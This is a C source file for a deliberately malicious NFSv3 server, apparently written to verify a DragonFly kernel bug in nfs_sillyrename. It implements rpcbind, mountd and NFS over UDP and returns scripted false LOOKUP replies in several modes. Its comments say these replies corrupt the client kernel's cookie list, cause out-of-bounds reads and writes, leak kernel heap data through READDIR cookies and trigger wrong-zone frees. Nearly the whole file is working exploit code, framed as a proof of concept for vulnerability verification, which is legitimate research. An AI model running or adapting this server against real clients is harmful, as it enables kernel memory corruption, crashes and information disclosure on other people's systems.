/*
 * fakesrv.c - malicious NFSv3 server for DF-2996 verification
 *             (nfs_sillyrename unchecked nfs_lookitup result)
 *
 * Speaks just enough SUNRPC/UDP for the DragonFly in-kernel NFS client:
 *   - rpcbind  (prog 100000, vers 2/3/4) on port 111  -> mountd/nfs ports
 *   - mountd   (prog 100005, vers 3)     on port 779  -> MNT "/" -> root fh
 *   - nfs      (prog 100003, vers 3)     on port 2049
 *
 * Scripted object model:
 *   fh1 = 'A'*32 : export root DIRECTORY
 *   fh2 = 'B'*32 : regular file "f" inside the export root (or /d)
 *   fh3 = 'C'*32 : directory "d" inside the export root
 *
 * Modes (argv[1]):
 *   err   : every LOOKUP of a ".nfs*" name replies NFSERR_NOENT.
 *           -> nfs_sillyrename's final nfs_lookitup() returns ENOENT with
 *              *npp untouched (uninitialized caller variable) while the
 *              caller ignores the error and executes np->n_sillyrename = sp.
 *   dirfh : the probe LOOKUPs of ".nfs*" reply NOENT, but the LOOKUP issued
 *           right after the successful RENAME (the final one whose result is
 *              stored) replies with the *root directory* fh1.
 *           -> nfs_lookitup returns the (valid) root DIR nfsnode; the caller
 *              stores sp into np->n_sillyrename which ALIASES
 *              n_cookies (LIST_HEAD) on directory nodes -> cookie-list
 *              corruption, OOB cookie read/write past the 40-byte sp, kernel
 *              heap data leaked to us in subsequent READDIR/READDIRPLUS
 *              cookies, and wrong-zone kfree()s in nfs_reclaim at umount.
 *
 * env: VERBOSE=1 dump every request
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

#define NFS3_NULL     0
#define NFS3_GETATTR  1
#define NFS3_SETATTR  2
#define NFS3_LOOKUP   3
#define NFS3_ACCESS   4
#define NFS3_READLINK 5
#define NFS3_READ     6
#define NFS3_WRITE    7
#define NFS3_CREATE   8
#define NFS3_MKDIR    9
#define NFS3_SYMLINK 10
#define NFS3_REMOVE  12
#define NFS3_RMDIR   13
#define NFS3_RENAME  14
#define NFS3_LINK    15
#define NFS3_READDIR 16
#define NFS3_RDRPLUS 17
#define NFS3_FSSTAT  18
#define NFS3_FSINFO  19

#define NF3REG 1
#define NF3DIR 2

static int verbose;
static int mode_dirfh;		/* reply root dir fh for the silly name  */
static int mode_freshdir;	/* reply never-seen dir fh               */
static int mode_control;	/* reply the file's own fh (honest)      */
static int mode_typelie;	/* file's own fh but DIR-typed attrs     */
static int rename_seen;		/* RENAME("f" -> .nfsXXX) completed */
static int dir_created;		/* MKDIR("d") completed */
static int file_created;	/* CREATE("f") completed */
static int rdir_gen;		/* readdir generation counter (leak demo) */

static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void puthyper(u_int64_t v) { put32(v >> 32); put32((u_int32_t)v); }
static void put64(u_int64_t v) { puthyper(v); }
static void putbytes(const void *p, int n) { memcpy(rep + rlen, p, n); rlen += n; }
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s) {
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static void putopaque(const void *p, int n) {
	put32(n); putbytes(p, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

/* filehandles */
static unsigned char fh_root[32], fh_file[32], fh_dir[32], fh_freshdir[32];

static void fh_init(void)
{
	memset(fh_root, 'A', sizeof(fh_root));
	memset(fh_file, 'B', sizeof(fh_file));
	memset(fh_dir,  'C', sizeof(fh_dir));
	memset(fh_freshdir, 'D', sizeof(fh_freshdir));
}

static int fh_is(const unsigned char *p, int len, const unsigned char *ref)
{
	return len == 32 && memcmp(p, ref, 32) == 0;
}

/* build one fattr3 (21 words) */
static void put_fattr(int type, u_int32_t mode, u_int32_t fileid,
		      u_int64_t size, u_int32_t nlink)
{
	put32(type);		/* ftype */
	put32(mode);		/* mode */
	put32(nlink);		/* nlink */
	put32(0);		/* uid */
	put32(0);		/* gid */
	put64(size);		/* size */
	put64(size + 4096);	/* used */
	put32(0); put32(0);	/* rdev specdata1/2 */
	put64(0x1234);		/* fsid */
	put64(fileid);		/* fileid */
	put32(0x5a5a0000); put32(0);	/* atime sec/nsec */
	put32(0x5a5a0001); put32(0);	/* mtime sec/nsec */
	put32(0x5a5a0002); put32(0);	/* ctime sec/nsec */
}

static void put_postopattr(int type, u_int32_t mode, u_int32_t fileid,
			   u_int64_t size, u_int32_t nlink)
{
	put32(1);			/* attributes follow */
	put_fattr(type, mode, fileid, size, nlink);
}

static void put_postopattr_none(void) { put32(0); }

/* wcc_data: before=false after=false */
static void put_wcc_none(void) { put32(0); put32(0); }

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

/* ------------------------------------------------------------------ */
/* parse helpers over request                                          */
/* ------------------------------------------------------------------ */
struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28)
		return -1;
	c->xid   = get32(p + 0);
	mtype    = get32(p + 4);
	if (mtype != 0)
		return -1;
	c->prog  = get32(p + 12);
	c->vers  = get32(p + 16);
	c->proc  = get32(p + 20);
	off = 24;
	/* cred: flavor + len */
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	/* verf: flavor + len */
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

/* fetch fh arg at *off: returns len, sets *fhp */
static int arg_fh(const unsigned char *a, int *off, int alen,
		  const unsigned char **fhpp)
{
	int n;
	if (*off + 4 > alen) return -1;
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > 64 || *off + n > alen) return -1;
	*fhpp = a + *off;
	*off += n + ((4 - (n & 3)) & 3);
	return n;
}

static void arg_str(const unsigned char *a, int *off, int alen,
		    char *out, int outmax)
{
	int n;
	if (*off + 4 > alen) { out[0] = 0; return; }
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > outmax - 1 || *off + n > alen) { out[0] = 0; return; }
	memcpy(out, a + *off, n);
	out[n] = 0;
	*off += n + ((4 - (n & 3)) & 3);
}

/* ------------------------------------------------------------------ */
static void handle_pmap(struct call *c, struct sockaddr_in *from, int s)
{
	u_int32_t prog, port = 0;

	if (c->vers == 2 && c->proc == 3) {		/* PMAPPROC_GETPORT */
		prog = get32(c->args + 0);
		if (prog == PROG_MNTD) port = PORT_MNTD;
		else if (prog == PROG_NFS) port = PORT_NFS;
		reply_hdr(c->xid);
		put32(port);
	} else if ((c->vers == 3 || c->vers == 4) &&
		   (c->proc == 3 || c->proc == 0)) {	/* RPCBPROC_GETADDR/NULL */
		if (c->proc == 0) {
			reply_hdr(c->xid);
		} else {
			/* rpcb: prog, vers, netid(str), addr(str), owner(str) */
			prog = get32(c->args + 0);
			port = (prog == PROG_MNTD) ? PORT_MNTD :
			       (prog == PROG_NFS)  ? PORT_NFS  : 0;
			reply_hdr(c->xid);
			if (port)
				putstr("127.0.0.1.3.11");	/* uaddr, any */
			else
				putstr("");
		}
	} else {
		/* procs we don't implement: garbage accepted-null reply */
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose) fprintf(stderr, "pmap v%u p%u -> %u bytes\n",
			     c->vers, c->proc, rlen);
}

static void handle_mntd(struct call *c, struct sockaddr_in *from, int s)
{
	if (c->proc == 0) {				/* NULL */
		reply_hdr(c->xid);
	} else if (c->proc == 1) {			/* MNT */
		reply_hdr(c->xid);
		put32(0);				/* status ok */
		putopaque(fh_root, 32);			/* root filehandle */
		put32(1); put32(1);			/* flavors: AUTH_SYS */
	} else if (c->proc == 3) {			/* UMNT */
		reply_hdr(c->xid);
		put32(0);
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose) fprintf(stderr, "mntd p%u -> %u bytes\n", c->proc, rlen);
}

/*
 * NFS dispatcher.  We track just enough state:
 *   - LOOKUP("f") before any CREATE  -> NOENT (open O_CREAT path)
 *   - CREATE("f")                    -> ok, no fh (forces client LOOKUP)
 *   - MKDIR("d")                     -> ok, fh3 + DIR attrs
 *   - LOOKUP("f") after CREATE       -> fh2 + REG attrs
 *   - LOOKUP(".nfsXXX"):
 *        mode err  : NOENT
 *        mode dirfh: NOENT until rename_seen, then root fh1 + DIR attrs
 *   - RENAME("f" -> ".nfsXXX")       -> ok  (sets rename_seen)
 *   - READDIR/READDIRPLUS(fh_root)   -> endless fake entries so the client
 *        advances past 24K of offsets and walks/stores cookies (leak/OOB)
 */
static void handle_nfs(struct call *c, struct sockaddr_in *from, int s)
{
	const unsigned char *fh;
	int off = 0, fhlen;
	char name[256], name2[256];

	reply_hdr(c->xid);

	switch (c->proc) {
	case NFS3_NULL:
		break;

	case NFS3_GETATTR:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		if (fh_is(fh, fhlen, fh_root))
			put_fattr(NF3DIR, 0755, 1, 4096, 3);
		else if (fh_is(fh, fhlen, fh_dir))
			put_fattr(NF3DIR, 0777, 3, 4096, 2);
		else
			put_fattr(NF3REG, 0666, 2, 0, 1);
		break;

	case NFS3_SETATTR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_ACCESS:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		put32(0x3f);			/* all access bits granted */
		break;

	case NFS3_LOOKUP: {
		int is_nfs_name = 0;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		if (strncmp(name, ".nfs", 4) == 0)
			is_nfs_name = 1;

		if (is_nfs_name && (mode_dirfh || mode_freshdir) && rename_seen) {
			/*
			 * *** THE LIE ***: hand back a file handle that is
			 * NOT the renamed file's:
			 *   dirfh    -> the root DIRECTORY's fh (existing node)
			 *   freshdir -> a never-before-seen DIRECTORY fh
			 * Reply order matches the DF client/server wire order
			 * for LOOKUP: [fh][obj attrs][dir attrs].
			 */
			if (verbose)
				fprintf(stderr,
				    "NFS LOOKUP(%s): replying lying DIR fh\n",
				    name);
			put32(0);			/* ok */
			if (mode_freshdir) {
				putopaque(fh_freshdir, 32);
				put_postopattr(NF3DIR, 0755, 9, 4096, 2);
			} else {
				putopaque(fh_root, 32);
				put_postopattr(NF3DIR, 0755, 1, 4096, 3);
			}
			put_postopattr(NF3DIR, 0777, 3, 4096, 2);
		} else if (is_nfs_name && mode_control && rename_seen) {
			/* honest control: the file's own fh */
			put32(0);
			putopaque(fh_file, 32);
			put_postopattr(NF3REG, 0666, 2, 0, 1);
			put_postopattr(NF3DIR, 0777, 3, 4096, 2);
		} else if (is_nfs_name && mode_typelie && rename_seen) {
			/*
			 * Type lie: the FILE's own fh (identity is honest)
			 * but the object attributes say DIRECTORY.  The
			 * client applies them to the file vnode, retyping
			 * VREG->VDIR mid-life; nfs_sillyrename then stores
			 * sp into what is now a VDIR node's n_cookies head.
			 */
			if (verbose)
				fprintf(stderr,
				    "NFS LOOKUP(%s): honest fh, DIR-typed attrs\n",
				    name);
			put32(0);
			putopaque(fh_file, 32);
			put_postopattr(NF3DIR, 0755, 2, 4096, 2);
			put_postopattr(NF3DIR, 0777, 3, 4096, 2);
		} else if (strcmp(name, "f") == 0 && rename_seen == 0) {
			/* negative until CREATE("f") was issued, then the
			 * file "exists" (fh2) */
			if (!file_created) {
				put32(2);	/* NFSERR_NOENT */
				put_postopattr(NF3DIR, 0755, 1, 4096, 3);
			} else {
				put32(0);
				putopaque(fh_file, 32);
				put_postopattr(NF3REG, 0666, 2, 0, 1);
				put_postopattr(NF3DIR, 0755, 1, 4096, 3);
			}
		} else if (strcmp(name, "d") == 0) {
			if (!dir_created) {
				put32(2);	/* NOENT (mkdir path) */
				put_postopattr(NF3DIR, 0755, 1, 4096, 3);
			} else {
				put32(0);
				putopaque(fh_dir, 32);
				put_postopattr(NF3DIR, 0777, 3, 4096, 2);
				put_postopattr(NF3DIR, 0755, 1, 4096, 3);
			}
		} else if (is_nfs_name) {
			put32(2);			/* NOENT */
			put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		} else {
			put32(2);			/* NOENT */
			put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		}
		break;
	}

	case NFS3_CREATE:
		file_created = 1;	/* LOOKUP("f") now positive */
		put32(0);			/* ok */
		put32(0);			/* no fh follows */
		put32(0);			/* no attrs follow */
		put_wcc_none();
		break;

	case NFS3_MKDIR:
		dir_created = 1;		/* LOOKUP("d") now positive */
		put32(0);			/* ok */
		put32(1);			/* fh follows */
		putopaque(fh_dir, 32);
		put32(1);			/* attrs follow */
		put_fattr(NF3DIR, 0777, 3, 4096, 2);
		put_wcc_none();
		break;

	case NFS3_REMOVE:
	case NFS3_RMDIR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_RENAME: {
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name2, sizeof(name2));
		if (strncmp(name2, ".nfs", 4) == 0)
			rename_seen = 1;
		if (verbose)
			fprintf(stderr, "NFS RENAME(%s -> %s) ok\n",
				name, name2);
		put32(0);
		put_wcc_none();
		put_wcc_none();
		break;
	}

	case NFS3_FSSTAT:
		put32(0);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		put64(1 << 30); put64(1 << 30); put64(1 << 30);
		put32(0);			/* invar */
		break;

	case NFS3_FSINFO:
		put32(0);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		put32(8192);	/* rtmax */
		put32(8192);	/* rtpref */
		put32(8192);	/* rtmult */
		put32(8192);	/* wtmax */
		put32(8192);	/* wtpref */
		put32(8192);	/* wtmult */
		put32(8192);	/* dtpref */
		put64((u_int64_t)1 << 40);	/* maxfilesize */
		put32(1); put32(0);		/* time_delta */
		put32(0x1f);			/* properties */
		break;

	case NFS3_READDIR:
	case NFS3_RDRPLUS: {
		u_int64_t cookie = 0;
		int i, nent, used = 0;

		/*
		 * Bounded, finite directory: entries are generated from the
		 * cookie so repeated RPCs walk a stable, FINITE name space
		 * (~600 entries total) and eventually report eof=TRUE.  This
		 * avoids OOM-ing the client's ls during the demo.
		 */
		nent = 400;
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		if (c->proc == NFS3_RDRPLUS || c->proc == NFS3_READDIR) {
			/* READDIR also carries a cookie right after the fh */
			cookie = ((u_int64_t)get32(c->args + off) << 32)
				| get32(c->args + off + 4);
			rdir_gen++;
			fprintf(stderr,
			    "[LEAK-CHECK gen=%d] %s cookie = %016llx\n",
			    rdir_gen,
			    c->proc == NFS3_RDRPLUS ? "READDIRPLUS" : "READDIR",
			    (unsigned long long)cookie);
		}
		/* resume index from the cookie the client sent (gen<<40|AA..|n) */
		i = (int)(cookie & 0xfffff);
		if (i < 0 || i > 600)
			i = 0;
		if (i + nent > 600)
			nent = 600 - i;
		put32(0);				/* ok */
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		if (c->proc == NFS3_RDRPLUS) {
			/* cookieverf (8B) + initial entries-follow bool */
			put32(0); put32(0); put32(1);
		} else {
			/* cookieverf (8B) */
			put32(0); put32(0);
			/* initial entries-follow bool */
			put32(1);
		}
		{
			int next_fits;

			for (; i < 600; i++) {
				char fn[32];
				u_int64_t ck = 0xAA00000000ULL
						| (u_int64_t)(i + 1);

				/* keep the UDP reply well under 7000B */
				if (rlen + 200 > 7000)
					break;
				snprintf(fn, sizeof(fn), "e%05d", i);
				put64(1000 + i);		/* fileid */
				putstr(fn);			/* name */
				put64(ck);			/* cookie */
				if (c->proc == NFS3_RDRPLUS) {
					put32(1);		/* attrs follow */
					put_fattr(NF3REG, 0644, 1000+i,0,1);
					put32(0);		/* no fh follows */
				}
				next_fits = (i + 1 < 600) && (rlen + 200 <= 7000);
				put32(next_fits ? 1 : 0);	/* follow */
				used++;
				if (!next_fits) {
					i++;		/* next unsent index */
					break;
				}
			}
			fprintf(stderr, "[readdir %s: sent %d, next=%d eof=%d]\n",
				c->proc == NFS3_RDRPLUS ? "plus" : "plain",
				used, i, i >= 600);
			put32(i >= 600 ? 1 : 0);	/* eof */
		}
		break;
	}

	case NFS3_READ:
		put32(0);
		put_postopattr(NF3REG, 0666, 2, 0, 1);
		put32(0);			/* count 0 */
		put32(1);			/* eof */
		putopaque("", 0);
		break;

	default:
		if (verbose)
			fprintf(stderr, "nfs proc %u: NOENT\n", c->proc);
		put32(2);				/* NOENT */
		break;
	}
	goto send;
bad:
	reply_hdr(c->xid);
	put32(10001);	/* garbage */
send:
	if (verbose) {
		int i;
		fprintf(stderr, "nfs p%u req(%d):", c->proc, c->alen);
		for (i = 0; i < c->alen && i < 64; i++)
			fprintf(stderr, "%02x", c->args[i]);
		fprintf(stderr, "\n");
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose)
		fprintf(stderr, "nfs p%u -> %u bytes\n", c->proc, rlen);
}

static int mkudp(int port)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	int one = 1;
	if (s < 0) { perror("socket"); exit(1); }
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(port);
	if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		fprintf(stderr, "bind port %d: %s\n", port, strerror(errno));
		exit(1);
	}
	return s;
}

int main(int argc, char **argv)
{
	int sp, sm, sn, max;
	fd_set rfds;
	struct call c;
	struct sockaddr_in from;
	socklen_t flen;

	if (argc > 1 && strcmp(argv[1], "dirfh") == 0)
		mode_dirfh = 1;
	else if (argc > 1 && strcmp(argv[1], "freshdir") == 0)
		mode_freshdir = 1;
	else if (argc > 1 && strcmp(argv[1], "control") == 0)
		mode_control = 1;
	else if (argc > 1 && strcmp(argv[1], "typelie") == 0)
		mode_typelie = 1;
	else if (argc > 1 && strcmp(argv[1], "err") == 0)
		mode_dirfh = 0;
	else {
		fprintf(stderr,
		    "usage: %s err|dirfh|freshdir|control|typelie  [VERBOSE=1]\n",
		    argv[0]);
		return 2;
	}
	verbose = getenv("VERBOSE") != NULL;
	fh_init();

	sp = mkudp(PORT_PMAP);
	sm = mkudp(PORT_MNTD);
	sn = mkudp(PORT_NFS);
	max = (sp > sm ? sp : sm);
	if (sn > max) max = sn;
	max++;

	fprintf(stderr, "fakesrv: mode=%s%s%s%s (rpcbind:%d mountd:%d nfs:%d)\n",
		mode_dirfh ? "dirfh" : "", mode_freshdir ? "freshdir" : "",
		mode_control ? "control" : "",
		(!mode_dirfh && !mode_freshdir && !mode_control) ? "err" : "",
		PORT_PMAP, PORT_MNTD, PORT_NFS);

	for (;;) {
		FD_ZERO(&rfds);
		FD_SET(sp, &rfds);
		FD_SET(sm, &rfds);
		FD_SET(sn, &rfds);
		if (select(max, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR) continue;
			perror("select");
			return 1;
		}
		if (FD_ISSET(sp, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sp, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_pmap(&c, &from, sp);
		}
		if (FD_ISSET(sm, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sm, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_mntd(&c, &from, sm);
		}
		if (FD_ISSET(sn, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sn, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_nfs(&c, &from, sn);
		}
	}
	return 0;
}
